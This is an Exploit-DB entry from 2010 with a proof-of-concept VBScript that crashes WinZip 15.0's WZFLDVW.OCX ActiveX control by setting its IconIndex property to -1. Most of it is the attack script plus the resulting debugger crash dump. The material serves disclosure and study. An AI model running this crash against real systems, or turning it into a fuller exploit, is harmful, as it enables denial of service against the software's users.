Exploit-DB #15695
Description: WinZip 15.0 - WZFLDVW.OCX IconIndex Property Denial of Service
Type: dos
Platform: windows
Date: 2010-12-06
Author: Fady Mohammed Osman

Exploit:
# Exploit Title: Winzip WZFLDVW.OCX IconIndex property access violation
# Author: fady mohamed osman
# Software Link : http://www.winzip.com/downwz.htm
# Version:  15.0 (Build 9334)
# Tested on: Win XP Sp2
# CVE : N/A

# Website : http://www.darkmasters.co.cc/
# Twitter : http://twitter.com/Fady_Osman


<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:4E3770F4-1937-4F05-B9A2-959BE7321909' id='target' />
<script language='vbscript'>


'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Program Files\WinZip\WZFLDVW.OCX"
prototype  = "Invoke_Unknown IconIndex As Long"
memberName = "IconIndex"
progid     = "FolderViewControl.TreeNode"
argCount   = 1

arg1=-1

target.IconIndex = arg1

</script></job></package>

Exception Code: ACCESS_VIOLATION
Disasm: 1643C53	PUSH DWORD PTR [ESI+20]

Seh Chain:
--------------------------------------------------
1 	180B82F 	wzfldvw.ocx
2 	180B8F0 	wzfldvw.ocx
3 	73351571 	VBSCRIPT.dll
4 	73350F38 	VBSCRIPT.dll
5 	73351DA5 	VBSCRIPT.dll
6 	7335119D 	VBSCRIPT.dll
7 	7C8399F3 	KERNEL32.dll


Called From                   Returns To                    
--------------------------------------------------
wzfldvw.1643C53               wzfldvw.1631423               
wzfldvw.1631423               wzfldvw.1666F8C               
wzfldvw.1666F8C               wzfldvw.16434A0               
wzfldvw.16434A0               VBSCRIPT.73313A78             
VBSCRIPT.73313A78             VBSCRIPT.733139F6             
VBSCRIPT.733139F6             VBSCRIPT.73304B01             
VBSCRIPT.73304B01             VBSCRIPT.73306959             
VBSCRIPT.73306959             VBSCRIPT.73301E55             
VBSCRIPT.73301E55             VBSCRIPT.73303A76             
VBSCRIPT.73303A76             VBSCRIPT.7330BE2A             
VBSCRIPT.7330BE2A             VBSCRIPT.7330BEB9             
VBSCRIPT.7330BEB9             SCROBJ.5CE4915E               
SCROBJ.5CE4915E               SCROBJ.5CE4CF9C               
SCROBJ.5CE4CF9C               SCROBJ.5CE4D0E2               
SCROBJ.5CE4D0E2               SCROBJ.5CE4B106               
SCROBJ.5CE4B106               SCROBJ.5CE4B49F               
SCROBJ.5CE4B49F               100BB36                       
100BB36                       1005EFE                       
1005EFE                       1005215                       
1005215                       100492B                       
100492B                       1004A89                       
1004A89                       1003C7B                       
1003C7B                       KERNEL32.7C816D4F             


Registers:
--------------------------------------------------
EIP 01643C53
EAX BAADF00D
EBX 00000000
ECX BAADF00D
EDX 01642B94 -> 18EBD88B
EDI 00000008
ESI BAADF00D
EBP 0013EB1C -> 0013EB5C
ESP 0013EAF0 -> 00AE75F0


Block Disassembly: 
--------------------------------------------------
1643C48	MOV EDI,EDI
1643C4A	PUSH EBP
1643C4B	MOV EBP,ESP
1643C4D	SUB ESP,28
1643C50	PUSH ESI
1643C51	MOV ESI,ECX
1643C53	PUSH DWORD PTR [ESI+20]	  <--- CRASH
1643C56	CALL [182C978]
1643C5C	TEST EAX,EAX
1643C5E	JNZ SHORT 01643C65
1643C60	CALL 01635391
1643C65	MOV EAX,[EBP+8]
1643C68	TEST EAX,EAX
1643C6A	JE SHORT 01643C60
1643C6C	MOV [EBP-24],EAX


ArgDump:
--------------------------------------------------
EBP+8	BAADF00D
EBP+12	0013EB60 -> 01666F8C
EBP+16	00000022
EBP+20	BAADF00D
EBP+24	FFFFFFFF
EBP+28	0164299B -> 8B0020C2


Stack Dump:
--------------------------------------------------
13EAF0 F0 75 AE 00 0E 28 64 01 80 EB 13 00 28 ED 13 00  [.u....d.........]
13EB00 00 00 00 00 9B 29 64 01 DE 98 66 5E 08 00 00 00  [......d...f^....]
13EB10 60 EB 13 00 00 00 00 00 BA 75 91 7C 5C EB 13 00  [`........u..\...]
13EB20 23 14 63 01 0D F0 AD BA 60 EB 13 00 22 00 00 00  [..c.....`.......]
13EB30 0D F0 AD BA FF FF FF FF 9B 29 64 01 57 2B 64 01  [..........d.W.d.]



ApiLog
--------------------------------------------------

***** Installing Hooks *****
7c826cab     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)
7c826cab     CreateFileA(C:\WINDOWS\system32\rsaenh.dll)